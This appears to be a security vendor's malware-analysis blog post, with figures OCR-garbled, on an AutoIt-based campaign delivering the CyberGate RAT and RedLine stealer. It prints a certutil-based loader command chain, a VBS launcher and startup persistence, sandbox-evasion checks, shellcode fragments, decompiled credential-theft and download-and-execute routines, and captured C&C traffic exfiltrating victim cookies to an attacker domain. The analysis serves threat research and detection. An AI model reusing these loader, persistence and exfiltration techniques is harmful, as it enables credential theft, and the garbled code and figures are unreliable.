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In our most recent blog, we had detailed a malware campaign that uses a malicious document (DOC) file to

deliver an Autolt script which, in turn, delivers the Taurus stealer to steal credentials, cookies, history, system info,
and more. Along similar lines, we recently came across a new malware campaign that uses a similar Autolt script

to deliver a new variant of the CyberGate RAT and RedLine stealer.

This blog will walk you through a detailed analysis of the payload delivery mechanism, capabilities, and
Command and Control (C&C) communication. We also observed the usage of custom C&C protocols to exfiltrate

sensitive information. We will shed light on the custom protocol used by the Cybergate RAT.

Below is the detection timeline for Autolt malware campaigns in the past month. We observed several hits for the
Autolt malware involving various malware families, including AZOrult, Xtreme RAT, Taurus stealer, RedLine
Stealer, and CyberGate RAT. The Zscaler ThreatLabZ team is closely monitoring the developments on these

campaigns to ensure coverage.

Figure 1: Hits of Autolt-based malware in the past month.

Zscaler Cloud Sandbox captured the CyberGate RAT and RedLine stealer successfully. We observed that both of
them are packed with the same packer and use the same payload delivery mechanism. The tactics, techniques, and
procedures (TTPs) observed in these two campaigns are similar in nature, so we suspect that the same actors are

behind these attacks.
Payload delivery mechanism

As observed in a previous blog, the source of the stealer was spam mail containing a link to download the
malware or an attached DOC file that downloads the malware. While tracking this campaign, we found that this
malware is served by phishing sites. At the time of our analysis, we found a live phishing site of a cryptocurrency

blockchain exchange called Resistance, which is serving the RedLine stealer.
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Figure 2: A crypto blockchain exchange phishing site.
Wrapper analysis

The files downloaded from these phishing sites are self-extracting archives (SFX), which contain a cabinet file
and a script to execute embedded files. The cabinet file can be found under the RCData resource directory with the

name ‘CABINET’ and command for execution in the resource directory of the name ‘RUNPROGRAM’.

1,:] “ANT"
--1.:| Icons
(-3 Dialogs Cabinet file containing

"1:! String Tables adCt.com, bzYfp.com and
E'":' RC TXi.com

1) "CABIMET™ - [lang: 1044]
EXTRACTOPT™ - [lang: 1049]

-{7) "FILESIZES" - [lang: 1044]

7)) "FINISHMSG" - lang: 1044]

{7 "LICENSE™ - [lang: 1044]

-7 "PACKINSTSPACE™ - lang: 1044] Command-line script to

- "POSTRUMPROGRAM™ - [lang: 1033] execute the files
"REBOCT" - HEI'ICI: 1044]
1) "RUNPROGRAM” - [lang: 1033]

SHOWWINDOW ™ - [lang: 1049

{7 "TITLE" - [lang: 1049]

{7 "UPROMPT" - [lang: 1044]
- "USROQCMD" - lang: 1033]

- Icon Groups

[+ Version Info

Figure 3: The resource directory of the wrapper file.
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The cabinet file contains three files with a ‘com’ extension and the file names are random and different in other

Autolt scripts. Those files are:

ffXi.com - This is a legit Autoit3.exe having an invalid header used to run Autolt scripts
adCt.com - A Windows Base64 encoded Autolt script by certutil
bzYfp.com - The encrypted payload

The command-line script present in the ‘RUNPROGRAM’ resource directory to execute embedded files is shown

below:

cmd /c Isass.com & type ffXi.com >> Isass.com & del ffXi.com & certutil -decode adCt.com R & Isass.com R &
ping 127.0.0.1 -n 20

First, it corrects the header of ‘ffXi.com’ (Autoit3.exe) by appending “M”, stores it in ‘Isass.com’, then it deletes
‘ffXi.com’. After that, it decodes the Base64 encoded Autolt script using ‘certutil’ with the parameter “-decode”,
saves it to a file “R”, and then runs this Autolt script with Autoit3.exe (Isass.com). In the end, it uses the ping

command as a sleep timer.

The Autolt script uses custom obfuscation and all the hardcoded strings are encrypted in the malware, as we have
seen previously in this campaign. Upon execution, the Autolt script drops and hides the following four files in the
directory “%APPDATA%\\cghost” for achieving persistency on the system. We found this persistency technique
in the Autolt script only if the final payload is RAT.

cghost.com - Copy of Autolt interpreter

aGuDP - Copy of Autoit script

bzYfp.com - Copy of encrypted payload

dLzSj.vbs - VBS script to execute Autolt interpreter with the script

The VBS file contains:

CGXdBksrYqQnDIwn =
GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("%appdata%\cghost\cghost.com
%appdata%\cghost\aGuDP" , "%appdata%)\cghost", Null, OJxMEKRRELvrj )

For persistence, it creates an internet shortcut file ‘cghost.url’ in the startup directory with the following contents:

[InternetShortcut]
URL="%APPDATA%\cghost\dLzSj.vbs"

The Autolt script has multiple sandbox evasion tricks to avoid detection. It also checks to see if a file

and computer name exists in the system and checks for a particular domain.
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-txt") Or @ComputerName = "NfZrFbEfH" Or @ComputerName = "tz® Or @ComputerName = "ELICZ" Or EComputerName = “MAIN® Or
3") Then Exit

)<= } Then Exit

Next

If Not (SOCHeaNum we ) Then Exit
|; check if host is g
Tf (Ping (" o nirs ) <> °) Then Exit

Figure 4: The malware performs multiple checks before execution.

This malware wrapper avoids its execution in the Windows defender antivirus simulator by checking for the
presence of the “C:\aaa_TouchMeNot.txt” file in the system. The malware terminates execution if it finds the

following computer names, which are used by AV emulators:

“NfZtFbPfH” - Kaspersky

“tz” - Bitdefender

“ELICZ” - AVG

“MAIN" - VBA

“DESKTOP-QO5QU33” - Assuming this is the attacker’s machine name

It checks for the sleep API patch with 'GetTickCount' to detect the sandbox emulation. It also checks for the
domain ‘OJtmGmgql.OJtmGmql’, it will exit if the domain is alive. These are random strings and found to be
different in every other wrapper. If it passes all the above checks then it injects the shellcode for the 'RC4'

algorithm based on the system architecture into the specified running process or the current process memory.

Func PrcPCEGEVZkkmnUVEICEVEERTIiAC (SMALJL, 300vi0j)
If ERAutoItXsd Then
: Local $Dplgn = '0OxB9C0554889CE4889D54989CA4531C95T7565534883EC08CT0100000000C7410400000000458848084
Elsze
: Local 5Dplgn
EndIf

'0x89C05531C057565363EC088B4C241C8BTC2420C70100000000C7410400000000585844010883C0013

Figure 5: The RC4 algorithm shellcode.

The RC4 key is XOR-encrypted in the Autolt script which can be found in a function calling along with the

encrypted data and process path for injection.

SWGsmkYDkssS = OiwGOvTYvd (PrcPCEGXVZkkmnUVZCRVAEWTiAC (Binary (5k55Favasi), Binazy:vanSVPdBix:"Eigs6§6:§5e§6;§£:",E}}}l
SQREfmMX1VAWNLPsM, SeMegrGljnPIGKunjFath)

ExitLoop

Case 127

Figure 6: The encrypted RC4 key.

This RC4 key is found to be different in every case. The Autolt script reads the encrypted payload (bzY fp.com)
and decrypts it using the RC4 shellcode with the hardcoded key “537180” (in this case).
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vl = B;
*{ DUWORD =)al = 8;
=#{ DUWORD =){al + 4) = B;
do
{
*{ BYTE =){al + uvh + 8) = ul;
++uu;
H
while { vi *= Bx188 );
result = al;
LOBYTE{ua) = 8;

ve = 8;
do
{
ifF [ a3 <= u9 )
{
v = 1;
ui = B;
H
else
{
ui = ud++;
H
uE = ={ BYTE =){result + 8);

ué = (unsigned  int8){u8 + ={ BYTE =*){aZ + uf) + uhi};
*#{ BYTE =){result++ + 8) = ={ BYTE =){al + ui + 8);
={ BYTE =){al + v + B) = ul;

H
while { result *= a1 + @xz188 );

Figure 7: The RC4 algorithm in the first shellcode.

After that, it injects another shellcode in the memory, which creates a mutex first with the name of
‘JFTZRATSJPATTZLFCUTTH’, then it takes the decrypted PE file, injects it into the process, and executes it.

The final payload is decrypted and executed in the memory only so it will not get captured by the antivirus if

it has static detection.

We have written a python script to decrypt the encrypted payload, which can be found in Appendix I.
The payloads dropped by this wrapper are CyberGate RAT or RedLine stealer.

CyberGate RAT

The CyberGate RAT from this campaign looks like a new variant that we have not seen in the past. CyberGate
allows an attacker to browse and manipulate files, devices, and settings on the victim's machine as well as
download and execute additional malware. It also has a wide range of information stealing abilities, such as

keyloggers, screen capture, and remote enabling of webcams.
The capabilities of the CyberGate RAT that we found in this variant include:

 Collecting the system info
o Creating a specified directory

e Downloading and executes additional files
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Getting the content of a specified file

Stealing the browser’s credentials
e Capturing the screen

¢ Running a keylogger

The C&C address and port information are encrypted and hardcoded in the binary. Encryption is simple XOR with
the hardcoded key “2qYNYM2Z74XL".

884452 CH 58 Enx ProcNameOrOrdinal = '
84452 CC 68 6C534488 decrypte .B844536C FileHame = "kernel3Z2.d11"
884452 D1 E8 C213FCFF <JHF .&kernell2 . LoadLibraryi > LoadLibraryf

AB8445 2 D6 58 End hHodule = BE12ZFF38
B884452D7 Ef 3Ci3FCFF <JHFP.&kerneld2.GetFrocAddress > GetProcAddress

A84452DC 68 CH458488 445CH

A@4452E1 FFDA CALL End £leep

AB84452E3 804D F8 LEA ECX.[LOCAL.21

AA4452E6 B 845344808 MOU EDX.decrypte .BB445384 ASCIT "2gYNYM2ZZ74KL"
AA4452EB B8 9C53448H8 MOV EAX.decrypte .BB44539C ASCIT "A14677?7cbc M 1c6f 19866971
AA4452FA E8 17EIFFFF CALL decrypte .BA44368C ¥OR decryption

a84452F5 | I8
PA4452F8 || -

Stack 585:[PA12FF
EDX=AB44532C

(de

8855 F8

A1

44AE4488
11FB.,

B844539C> .

CASCIT °
ASCIT “@146777che

MOU EDX. [LOCAL.21
MOU_EA%.DWORD PTR DS:[44AE44]

?.252.5.213">
cbf1906697F"

Figure 8: The XOR decryption of the encrypted IP address.

The unique bot ID is created by adding the username, computer name, and the serial number of the victim

machine and calculating the MD5 hash.

Bot ID = MD5(UserName+ComputerName+SerialNumber)

AA43 DAL 1 . 64:8928 MOU DWORD PTR FS:[EAX1,.ESP

BR43 DA% 4 . 8D45 EB LEA EAX. [LOCAL.81

an43Da57? . EB EBFEFFFF CALL decrypte.B@43CF44 username
BR43DASC . FF75 EB PUSH [LOCAL.81

BR43DASF . 8D45 DC LEA EAX, [LOCAL.%1

BA43D862 . E8 ASFEFFFF CALL decrypte.B843CFAC computername
#R43D086 7 . FF?5 DC PUSH [LOCAL.%1

AA43DAGA . 8Dh45 D8 LEA EnX, [LOCAL.1A1

BA43 D@6 D . E8 BAFFFFFF CALL decrypte.@@43CF7?C zerial_numbher
AR43DA72 . FF7?5 D8 PUSH [LOCAL.1A@1

@343 DA75 . 8D45 E4 LEA EAX. [LOCAL.?71]

@343 Da7e . BA B3808008 MOU EDX.3

@343 DA7D . EB ABY3IFCFF CALL decrypte.BB484428 Joining
aa43Dags 2 . 8B5S E4 MOU EDX, [LOCAL.71]

#a43DA85 . 8Dh45 E8 LEA EAX, [LOCAL.61]

aR43Da8 8 . E8 FB??FCFF CALL decrypte_ BB0484888

AR43DARD . BB45 E8 MOU EfX, [LOCAL.61

AR43DA A . 8DL55 EC LEA EDX, [LOCAL.S51

AR43DA9 3 . ER B4F5FFFF CALL decrypte.AR43C59C

@343DE2 8 . 8D45 EC LEA EAX.[LOCAL.5%]

BR43DA? B . 8Ds5 FC LEA EDX.[LOCAL.11

HA43 DA E . EB 6DF5FFFF CALL decrypte.Bd@43C6108 calculate MDS
BR43DBA3 . 8BSS FC MOU EDX, [LOCAL.11

BR43IDBAG . 8BC3 MOU EAX.EBX

170FF18 1=-082F5D84.
EDX=AA2F5 B30

CUNICODE "4cH5c93523844f20134cdf 1fdde?af?'>

Figure 9: Bot ID creation.
Network traffic analysis

This variant of CyberGate RAT has a hardcoded and encrypted C&C IP address and it uses a 3970 port to
communicate on the TCP protocol. The complete traffic is compressed with zlib compression and encrypted with

RC4 with the hardcoded key present in the binary.
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89 43.327299 197.168.1.158 37.952.5. TCP 58 8 + 3978 [ACK] Seq=1 Ack= & Len=8
90 43489844 37.252,5,213 192.168.1.150 TCP 57 3978 + 49688 [PSH, ACK] Seq=1 Ack=1 Win=131328 Len=3

‘ Wireshark - Follow TCP Stream (tcp.stream eq 8) - 433DD4DCE13EB6688A3AF 3686C84D1C

00200008 208 6d Ba i
ooeeRee8 od f8a =
eseeBe03 |33 33'23 23 24 23 230ad _@af12 86 65 ce f5 57 c9| 30##GEE. . Data Length
88800013 [de b9 5f e2 d6 64 82 28 fa a6 T4 9a t9 9f 50 2a| .. ..d.( Marker
00008023 |be 67 da 6c 91 b8 €2 e2 eb d6 Bb 59 68 ea 9e 18] .g.l.... . ikl
06000062 Od O = Delimiter
90088004 ©d Ba 38 37 23 23 24 23 23 @d @a 12 86 65 ce 5  ..E7#EGE #....e..
20068014 57 ¢9 d6 b9 5F e2 d6 64 B2 28 fa a6 T4 9a f9 9f  MW..._..d .(...... EncryptEd data
oe00pB24 50 28 be 67 da 6c 91 b8 9 e2 eb d6 €3 93 583 8a P*.g.l.. ......Y.
00008034 11 f8 38 b3 17 ff 86 86 fd 2f 84 43 9c Se ad @7 ..@..... ./.C."M.
20068044 7d a5 @8 7f 28 5F eb b6 28 44 f3 aa d5 25 93 98 }...(_.. (D...%..
06008054 b7 85 bd fb 32 b9 ed 9f 6a 91 B2 87 85 2f @9 3d  ....2... j..../.=
90008064 92 15 s
98808833 31 33 34 23 23 24 23 23 @d @a 1348854E ..
Frame 14 | pBaeeess od @a >
Etherne @pRREE3D 12 86 65 ce T5 57 c9 d6 bo 5 e2 d6 64 82 28 fa  ..e..W.. ._..d.{.
Interned ©9eeeBe4D B8 T8 3 b8 57 97 dB 73 c2 a8 86 17 5d 8b d2 52  ....W..5 ....]..R
Transmi ©080805D 52 B8 68 52 be a3 Se 92 d5 88 7a 67 73 ad b4 9b  ..hR..". ..zgs...
Data (14 868000860 fc 2b 17 d2 cd b9 d8 91 b® @c 5d 89 6b 31 48 6c  .+...... ..].kIHL
88888870 bb c7 c5 eb 13 3a 68 5d 32 53 93 68 48 ed 73 33 .....: ] 25.hH.s3
90800080 d8 33 87 5d ec 8d 62 27 30 25 @1 7f d2 @9 56 8d .3.]..b' @X....V.
eeaeee90 e7 1d c3 ab c3 7a 6b 2a T8 ed df 43 63 81 41 cc ..... zkt LoiHi K.
©888888AD 51 d4 6b bB c2 45 4e 6d 7 Bf ef 13 c9 22 ec 41  Q.k..EMm ..... 0
©908000ED 28 92 16 @a c9 1f iy
90060068 od @a i
©006886A 31 33 38 23 23 24 23 23 @d @a 12 86 65 ce T5 57  138B##3HE ....e..M
= g;; 0B00BE7A 9 d6 b9 5 e2 d6 64 @2 28 fa a6 T4 9a ¥9 9F 50 ... ..d. (...... P
- LAARARARL 2a he A7 Aa Ar G1 h® raO a7 eh AR Th 2 27 fh =0 * o1 5

Figure 10: CyberGate network traffic.

Length of

encrypted data L Delimiter Encrypted Data

Figure 11: Packet structure.

Client and server packets are encrypted or decrypted by RC4 with the same hardcoded key “draZwyK8wNHE”,
which is present in the binary. After the decryption of server packets, the data starts with the marker of 14 bytes
“@@XXXXXXXXXX@@” and followed by the zlib compressed data. We have seen this marker in the previous
version of Cybergate RAT.

PePeAPRE| 4o 49 58 58 58 58 S8 58 58 58 58 5a4e4e|?a 21 |@r_ax:<xxxxxxxx@@|x
2ePeAR1a| |1d 8d 41 @e 42 21 Bc 44 7 26 %9 @2 d7 5d fe @b P Je SO O RPN o R T
BEEEBE20 | | 7c 8d 67 d@ S5d 69 3@ 34 40 4b @4 13 fd €9 el @5 |ogB1iB48K . .vEd
@epeAB3a | 176 93 f7 26 33 b7 fd 2a f7 6d db 1f ed 49 ce 5d v .+ A3y *Fead.iTE ]
gepeaeda| 19c ab f8 ab 98 81 b4 18 16 3c 54 B 7c 56 4a 14 Dwgad. " < T A | w3
PePEBESE| 191 67 66 41 al 8@ 96 de 98 c2 @2 bd 75 2c 75 a@a Eegl A CEARETR G ¥ w e
BABEGEGRA | | fe 62 @9 SF bA fB 51 cf 6@ a4 2c le db 28 BF ol b b oL M ow B EE
@80EAETe | lcc c3 4Ff d2 86 88 8b 9 4f eb f1 @f 4a 50 2f a7 DRSO CRH LR R

Figure 12: The decrypted packet data.

After decompression, the data starts with the command followed by the parameters and separated by the marker
CHESHE” .

Structure: ##$#H###SHH
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Server Client

{ ShybWKLmEShM##S## L:"[ AhybWKLmE ShME#S#EhPHX6nnbm 2L #4S#8B0T ID##S#E }

ECDnGE6CYsZ ciil#amazon|
paypal |blockchain| binance
kraken| bitstamp |bitfinex| huobi .i’_h_'f.‘:llf‘r’KLmES-‘?M##S##ECDnGI36C‘n’sEc#SﬁGredenﬁa.‘sﬁS#]
coinbase| localbitcoins| vgs
stripe## a7

Figure 13: The decrypted communication between the client and the C&C server.

In the first request, the command will send the calculated unique bot ID to the server.
The second command will search for the stored credentials in the Chrome and Firefox browser profiles. If it
matches the parameters, then it sends the credentials to the server along with the machine info, including socket

name, user name, computer name, product name, and bot ID.

sub_WOUMBA(U7O, (int)"ECDNGA6CYSZC");

if { v )

{
vl = sub_hB4658({int)dword 444CHB, ush);
sub_ WOMGOB((int)&usks, 1, viD - 1 + 5);
ul1 = sub_4B4658{(int)dvord 4HACHE, UBL);
sub_WONSCB(us4, 1, vil - 1, (int)&ue3d);
v12 = sub_BB4E5B({int)dword 4S4LCHB, uBh);
sub_4B4608({int)&usk, 1, viZ - 1 + 5);
if { sub_4046508((int)dword 444CEB, uB3) <= 8 )
{

sub_4O4BAB{(int)&usl);

H

else

sub_443ARB(ve3, (int)&v78, a3, a4, a5); /7 Get browser's credentials
sub_484148({volatile signed _ int32 =)&UB3Z, v78);

H

u57 = "hhybWELmEShHERSHRECDNGAGCYSZc RIS HE" ;

sub_ 4B6DAB{*0FF BUAEGN, (int)&U76); /f Get sockname

uSo = uib;

v55 = (unsigned int)dword_444CLE;

sub_B3A258((int)&u75); ff Get username

sub_ 43A228{{int)&u7L4); /7 Get computername

sub_H3BABA{{int)&U73, vi1d); /f Get productname

sub_4B4428(uv1s, 13, dword 444C48, vE3, dword 444CYHE, =( DUWORD =)off_44AESC);
sub_BRICAC{uB5, 77, ald); /7 Compressed, Encrypt and send to server

Figure 14: The credentials and machine info that is sent to the server.

The command “Ky8pr22KrbW3” or “neAWMOTC4tsk” creates the specified directory in the %appdata%. It then

downloads and stores the specified file inside and executes it.
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sub_4318FC{{int)"APPDATA", (int)&u25); // appdata directory
if { ( BYTE)}uZ )
sub_484148{{volatile signed __ int32 =)&u24, (signed _ int32)dword_A43E7¥38);
else
sub_ 484148((volatile signed  int32 =)&u2L, {signed  int32)dword 43E¥28);
sub_ 4843B4({int)&u21, v25, v2h);
if { *sub A431F2C{v21}) )
{
sub_4@43B4{ (int)}&u20, v25, u2h);
sub_ 431F58{v2H, v2); // Create Directory
H
u3d = sub 4B4658({int)dword 43ET4B, vZ24);
sub_ 4845C8(v26, 1, vd - 1, (int)&u22);
ulh = sub 484658({int)dword 43E74B, vZ24);
sub_4846088({int)&v26, 1, vi);
sub_483148{{volatile signed  int32 =)&u23, v26);
sub_4@848428{v5, 4, v23, Rdword 43E74C, u2h, u25);
ub {int)sub_ 4B4568{v10);
uy (int)sub_4B4568{v22);
if ( tsub_431D48{@, v?, va, B, vil) ) /f Download URL to a file
{
if ( ( BYTE)vZ == 1 && =off_44B114 )
1

ull = =off 44B114;
CloseHandle{vi1);
b
ul1 = 8;
sub_ 4Bun2B{vE, b, v23, &dword W3EFAC, vZh, uwiL};
ug {(int)sub_ 4B4568{v18);
sub_ 431ED4(B, (int)"0pen™, v?, 1, 8, vil); // Execute file
if { ( BYTE)}vZ == 1)
1

Figure 15: The command to download and execute additional malware.

We have found the following commands in this variant of the CyberGate RAT.

Commands Descriptions

4hybWKLmEShM Send the unique bot ID to the server

ECDnG66CYsZc Steal the browser’s credentials and machine info
dYh3GKy2DK Store data to the registry

Ky8pr22Krbw3 Download and execute additional malware
neAWMOITC4tsk Download and execute additional malware and exit itself
EffNaMNRW43T Capture the screen

5QvapedWv6eA Start the keylogger

We have written a python script to decrypt the CyberGate RAT and C&C traffic. It can be found in Appendix II.

RedLine stealer
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The final payload is the .NET binary file of RedLine stealer. This stealer is available for sale on Russian forums

and was seen before in a COVID-themed email campaign. Proofpoint published a blog about that campaign.
The capabilities of this stealer include:

e Collecting information about the victim’s system

» Collecting credentials, cookies, credit cards from Chromium- and Gecko-based browsers
e Collecting data from FTP clients (FileZilla, WinSCP)

e Collecting data from IM clients (Pidgin)

e Collecting cryptocurrency wallets

» Downloading and executing the specified file

b {} oOrg

b {} oOrg

b {} org

b {} org

b {} org

b {} org

b {} oOrg

4 {} RedLine
P +0 Remo
b %
(W N

P {} RedLin

P {} RedLin

buildid;

Figure 16: The RedLine stealer classes and C&C domain.

The RedLine stealer uses SOAP over HTTP protocol for its C&C communication.

After getting connected with the C&C server, RedLine fetches the client configuration settings from the server.
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‘ Wireshark - Fellow TCP Stream (tcp.stream eq Q) - redline_traffic — O X

POST /IRemotePanel H'I'I'P;"I,ll
- = 1. charspt=yif-f
S0APAction: "http://tempuri.org/IRemotePanel/GetSettings”
Host: yellowbag.top
Content-Length: 156
Expect: 18@-continue
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

HTTP/1.1 188 Continue

<s:Envelope wmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetSettings wmlns="http:// tempuri.org/"/></s:Bodys</
s:Envelope>HTTR/1.1 288 OK

Content-Length: 911

Content-Type: text/wml; charset=utf-8

Server: Microsoft-HTTPAPI/2.8

Date: Wed, 24 Jun 2028 @9:46:31 GMT

Connection: close

<s:Envelope wmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetSettingsResponse sxmlns="http://
tempuri.org/"»<GetSettingsResult wxmlns:a="v1/Models™ xmlns:i="http://www.w3.org/2001/XML5chema-
instance”»<a:BlacklistedCountry xmlns:b="http://schemas.microsoft.com/20@3/18/5erialization/Arrays”/><a:BlacklistedIP
wmlns:b="http://schemas.microsoft.com/2883/18/5erialization/Arrays”/><a:GrabBrowsers»true</a:GrabBrowsers»<a:GrabF TP true</
a:GrabFTP><a:GrabFiles»false</a:GrabFiles><a:GrabImClients>true</a:GrabImClients><a:GrabPaths xmlns:b="http://
schemas.microsoft.com/2063/16/Serialization/Arrays”><b: string>%USERPROFILEX\AppData\Roamingh\ark-desktop-wallet | o+ | 1</
b:string><b:string>¥%USERPROFILE¥\AppData\Roaming| *userWallet*.json*,*. keys|1</b:string></a:GrabPaths><a:GrablUseragent>falses/
a:GrablserAgent><a:GrabWallets>true</a:GrabWalletss</GetSettingsResult></GetSettingsResponser</s:Body></s:Envelope>

Figure 17: Fetching the client configuration settings.

This client configuration settings include GrabBrowsers, GrabFTP, GrabFiles, GrabImClients, GrabPaths,
GrabUserAgent, and GrabWallets.

- <s:Envelope xmins:s="http:/ fschemas.xmlsoap.org/soap/envelope /">
- =s:Body>
- =GetSettingsResponse xmins="http:/ /tempuri.org/">
- =GetSettingsResult xmins:a="v1/Models" xmins:i="http:/ /www.w3.org/ 2001 /XMLSchema-instance">
<a:BlacklistedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization fArrays" /=
<a:BlacklistedIP xmins:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays" />
<a:GrabBrowsers=true</a: GrabBrowsers=
<a:GrabFTP=true</a:GrabFTP >
<a:GrabFiles=false</a:GrabFiles=
<a:GrabImClients>true</a:GrabImClients=
- «<a:GrabPaths xmins:b="http:f fschemas.microsoft.com /2003 /10/Serialization/Arrays">
<b:string =% USERPROFILEY%\ AppData\Roaming\ark-desktop-wallet | *.* | 1</b:string>
<b:string =% USERPROFILE%\ AppData\Roaming | *userWallet*.json* *.keys|1</b:string=
<fa:GrabPaths=
<a:GrabUserfAgent=false </a:GrabUserAgent>
<a:GrabWallets=true</a: GrabWallets =
</GetSettingsResult=
</GetSettingsResponse =
</s:Body >
</s:Envelope=

Figure 18: The RedLine client configuration settings.
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After collecting the data as per the configuration, it sends all the data back to the server.
4 Wireshark « Follow TCP Stream (tcp.stream eq 8) « redline_traffic — O X

POST /IRemotePanel HTTP/1.1 3
| = : s chgrset-ygf-3
SOAPAction: "http://tempuri.org/IRemotePanel/SendClientInfo™
Host: yellowbag.top
Content-Length: 387213
Expect: 18@-continue
Accept-Encoding: gzip, deflate

HTTP/1.1 188 Continue

<s:Envelope wmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SendClientInfo wmlns="http://tempuri.org/"><user
xmlns:a="vl/Models” xmlns:i="http:// www.w3.org/28@1l/XMLSchema-
instance”»<a:AdminPromptType:DimmedPromptForNonWindowsBinaries</a: AdminPromptTyper<a:BuildID/><a:Country>IN</
:Country»<a:Credentials><a:Browsers><a:Browser><a:Autofills/><a:Cookies><a:Cookie><a:Expires>1984814273</
:Expires><a:Hostrgo.flippintoacure.orgs/a:Host><a:Http>false</a:Http><a:Name>visitor_ id869661</a:Name><a:Path>/</
tPathr<a:Securertrued/a:Securex<a:Value>288923411</a:Values</a: Cookiex<{a:Cookier<a:Expires»1984814279</
:Expires»<a:Host>go.flippintoacure.org</a:Host><a:Httprfalse</a:Httpr<a:Namervisitor_id869661-hash</a:Name><a:Path>/</
tPath»<a:Securextrue</
1Securer<a:Value>@865e999c43927cf7947elfedca5425d14a6bbecc353a51b2d9bc28cebeBadb5b3asfdeed790dedacs52df5a6d5F1322b3a%cboddas
a:Valuer</a:Cookier<a:Cookie»<a:Expires»>1623151338</a:Expires»<a:Host>. studizz . fr</a:Host><a:Httprtrues/
tHttp><a:Namerstdvid</a:Name><a:Path>/</a:Path><a:Securertrue</a:Secure><a:Value>5ebd29ecdda48c3d7716Tdd2</a:Value></
:Cookier<a:Cookier<a:Expires>1621866596</a:Expiresr<a:Hostrcenterofbiopolitics. com</a:Host»<a:Http:falsed/
:Httpr<a:Name>gtrans_front_language</a:Name><a:Path>/</a:Pathr<a:Secure>false</a:Securer<a:Valueren</a:Value»</
:Cookie><a:Cookie><a:Expires>1589617015</a:Expires»><a:Host>.genial.ly</a:Host><a:Http>true</a:Http><a:Name>_uetsid</
:Name><a:Path»/</a:Path:<a:5ecure>false</a:Secure><a:Value>58273c8f-792c-3cd9-f9e4-768d87fab4%a</a: Value»</
:Cookie><a:Cookie><a:Expires>1623745016</a: Expires><a:Host>view.genial.ly</a:Host><a:Http>Talse</a:Http><a:Name>_ atuvc</
:Name><a:Path»/¢/a:Path><a:5ecure>false</a: Secure»<a:Value»>2%7C20</a:Value»></a:Cookie><a:Cookie><a:Expires>1589532416</
rExpires:<{a:Hostrview.genial.ly</a:Host><a:Httprfalsed/a:Httpr<a:Name>__atuvs</a:Name:<{a:Path:/</a:Path:<a:Securerfalsed/
:Securer<a:Value>5SebedffBdaealdab@ed< /a:Value></a:Cookie><a:Cookie><a:Expires>1652602623</a:Expires><a:Host>. genial.ly</
tHost><a:Httprtrue</a:Http><a:Name>_ga</a:Name><a:Path»/</a:Path><a:Secure>false</
rSecurer<a:ValuerGAL.2.511294811.1589525846<,/a: Value»</a:Cookier<a:Cookier<a:Expires>1589617823</
:Expires»<a:Host>.genial.ly</a:Host><a:Httprtrue</a:Http><a:Name>_gid</a:Name><a:Path>»/</a:Path><a:Securexfalsed/
tSecure><a:Value>GALl.2.584786455.1589525846<//a: Value></a:Cockie><a:Cookie><a:Expires>1589530683</
iExpires:<a:Hostr.genial.ly</a:Hostr<a:Httprtrued/a:Httpr<a:Name>_gat UA-1411868688-1</a:Name><a:Path:/</
:Path><a:Securerfalse</a:Securer<a:Valuerl</a:Value></a:Cookie><a:Cookier<a:Expires 1589530683 </
tExpires><a:Host>.genial.ly</a:Host><a:Http>true</a:Http><a:Name>_gat</a:Name><a:Path>/</a:Path><a:Secure>false</
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Figure 19: Sending the stolen data to server.

After that, it sends the request to the server to get the task to download a file, execute a file, access a link, or inject
a file to a process along with the victim’s machine info, such as IP, location, OS, and more.

.‘ Wireshark - Follow TCP Stream (tcp.stream eq 9) « redline_traffic — O X

POST /IRemotePanel HTTPHl.lI o
Content-Type: textaml: charset=utf-8

SOAPAction: "http://tempuri.org/IRemotePanel/GetTasks™
Host: yellowbag.top

Content-Length: 219322

Expect: 188-continue

Accept-Encoding: gzip, deflate

HTTP/1.1 188 Continue

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelape/"><s:Body>»<GetTasks xmlns="http://tempuri.org/"><user
wmlns:a="v1l/Models” wmlns:i="http://www.w3.org/2861/XMLSchema-
instance™><a:AdminPromptType>DimmedPromptForNoniindowsBinaries</a: AdminPromptTypes<a:BuildID/><a: Country>INg/
a:Country><a:Credentials»><a:Browsers/><a:ColdWallets/><a:Defenders xmlns:b="http://schemas.microsoft.com/2003/18/
Serialization/Arrays”/><a:Files i:nil="true"/»<a:Ftplonnections/><{a:Hardwares/><a:InstalledBrowsers/><a:InstalledScoftwares
xmlns:b="http://schemas.microsoft.com/2063/16/Serialization/Arrays"”/><a:Languages xmlns:b="http://schemas.microsoft.com/
2@e3/18/5erialization/Arrays”/><a:Processes wmlns:b="http://schemas.microsoft.com/2003/10/5erialization/Arrays"/></
a:Credentials»<a:CurrentlanguagesEnglish (United States)</a:Currentlanguages<a:Exceptions xmlns:b="http://
schemas.microsoft.com/2083/18/5erialization/Arrays" /><a:FingerPrint><a:Plugins>UNKNOWN< /a: Pluginss<a:UserAgent >UNKNOWN /

a:UserAgent><a:WebBasealRenderer>UNKNOWNS/a:WebBaseGlRenderer><a:WebBasealVendor *UNKNOWNL /
a:WebBaseGlVendor:<a:WebBaseGlVersion»UNKNOWN< /a :WebBaseGlVersions<a:WebDebugolRenderer -UNKNOWN /
a:WebDebugGlRenderer><a:WebDebugGlVendor>UNKNOWN</a : WebDebugGlVendor»</

a:FingerPrint><a:HWID> </aiHWID><a:IP> /a:IP><a:IsProcessElevated>false</
a:IsProcessElevated:<a:Location: </a:location><a:LogDate>: </a:lLogDater<a:Monitorsizes <f
a:MonitorSizer<a:05>Windows 7 Ultimate x32</a:05><a:PostalCodex <

a:PostalCode»<a:Screenshot> 1VBORWAKGZOAAAANSUNEUGAABYY AAAMACAYAAADPP ] ZCAAAAAXNSROTArs4c GQAALARNQULBAACK JwvBYQUAAAAT CERZ cwA

ADsMAAATDACAVGGQAAP+]SUREVHhe7 PRIV VHed HIHIS4wfkk/

+5vT97Eeed4iRNbTmLrNI JONCZBxIBxjGwhecEGZMUJPMY 2CIvNAgEZLAetgBZGC4xAAjHOJrZBSATtcTWNEqtIRrsB2kYaacSgQYhNELThTIVXd1Vibd2nuasy
